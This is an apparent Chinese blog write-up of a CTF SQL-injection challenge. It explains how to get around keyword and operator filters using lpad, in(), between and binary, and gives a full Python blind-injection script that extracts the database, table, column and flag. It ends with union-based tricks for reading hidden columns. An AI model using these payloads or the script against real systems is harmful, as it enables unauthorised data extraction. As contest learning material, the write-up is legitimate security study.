记一次SQL注入绕过

参加了一场线上ctf比赛,有一道sql注入挺有意思,因此记录下学习思路。

FUZZ

这是题目所给学习连接:http://pupiles.com/mysqltrick.html

首先看一下存在什么过滤,通过burp测试一下。发现过滤了如下字符

1
char    union    sleep    mid    like    ord    |    =    ==    &   <    >    <>   ^    substring    mid   substr   left

绕过

测试完之后发现通过大小写还是写两遍都无法绕过,看来需要在不使用这些字符的情况下进行注入。。。。

这是题目给的学习连接:http://pupiles.com/mysqltrick.html,读了一遍发现可以构造if,查阅了资料后发现if可以构造流程控制语句。

1
if(expr1, expr2, expr3),如果expr1为真则返回expr2,为假则返回expr3。

所以可以构造expr1为sql查询语句,逐个匹配字符。

后来问题来了,mid, substr, substring, left都被过滤, 很难受。。。接着搜一下看看还有什么函数,后来发现lpad这个函数。

在本地测试一下,lpad函数会有返回值,返回填充的字符。

所以可以通过if…..in…来进行bool注入。

构造如下:

1
2
and if(lpad(select database(),1,1)in("f"),1,0)-- -
#注释和%23无法成功,换成了-- -。

先用burp跑一下字符,发现这个方法可以执行。哈哈,这样就可以爆数据库了。

在爆表时候出现了问题,使用table_schema=database()出现了错误,忘记还过滤了等号, like, <>。

接着找资料、、、

1
找到了between,使用between可以代替。测试如下:

一开始没有区分大小写,导致flag提交一直错误。。。。

注意bool注入的大小写,使用binary函数来区分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import string

url = 'http://123.207.166.65/nwuctf/zfgbhjyuk.php'
s = requests.session()
str_all = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_+-*/="
print string
def database():
data = ''
payload = "?id=1'and if(lpad((select database()),{},1)in('{}'),1,0)-- -"
for i in xrange(1,10):
print i
for c in str_all:
payload_url = url + payload.format(i,data+c)
res = s.get(payload_url)
print payload_url
if 'hello' in res.text:
data = data + c
print data
break

def table():
data = ''
payload = "?id=1'and if(lpad((select table_name from information_schema.tables where table_schema between 'ctf' and 'CTF' limit 1,1),{},1)in('{}'),1,0)-- -"
for i in xrange(1,30):
print i
for c in str_all:
payload_url = url + payload.format(i,data+c)
res = s.get(payload_url)
if 'hello' in res.text:
data = data + c
print data
break


def column():
data = ''
payload = "?id=1'and if(lpad((select column_name from information_schema.columns where table_name between 'fla49' and 'FLA49'),{},1)in('{}'),1,0)-- -"
for i in xrange(1,10):
print i
for c in str_all:
payload_url = url + payload.format(i,data+c)
res = s.get(payload_url)
if 'hello' in res.text:
data = data + c
print data
break

def get_flag():
data = ''
payload = "?id=1'and if(lpad((select binary group_concat(flag) from fla49),{},1)in('{}'),1,0)-- -"
for i in xrange(1,40):
print i
for c in str_all:
payload_url = url + payload.format(i,data+c)
res = s.get(payload_url)
if 'hello' in res.text:
data = data + c
print data
break

#database = 'ctf'
# database()
#tabe_name = 'fla49'
# table()
#column_name = 'flag'
# column()
get_flag()

可用函数总结

IN

对它的描述:IN操作符允许我们在WHERE子句中规定多个值。也就说可以让我们依照一或数个不连续(discrete)的值的限制之内抓出数据库中的值。等号可以用in代替。

1
select * from user where id = 1;   ==>   select * from user where  id in (1);

也可以in多个,还可以配合substr使用。

1
select substr('abcd',1,1) = 'a';   ==>   select substr('abcd', 1, 1) in ('a');

BETWEEN:

刚才前面进行了使用,不多介绍,between可以配合十六进制使用,把字符转为十六进制。

列名构造

1
2
3
4
5
select 1,2,3,4;
select 1,2,3,4 union select * from users;
select passwd from (select 1,2,3 as passwd, 4 union select * from users) as twoname;
select twoname.passwd from (select 1,2,(3)passwd,4 union select * from think_user)twoname limit 1 offset 1; //查询字段
select data from (select 1,2,3,(4)data union select 1,2,3,schema_name from information_schema.schemata) as tt; //查询数据库
1
between 0x6161 and 0x6165

其他方法:https://blog.csdn.net/ncafei/article/details/62044552

Author: Sys71m
Link: https://www.sys71m.top/2018/05/12/记一次SQL注入绕过/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.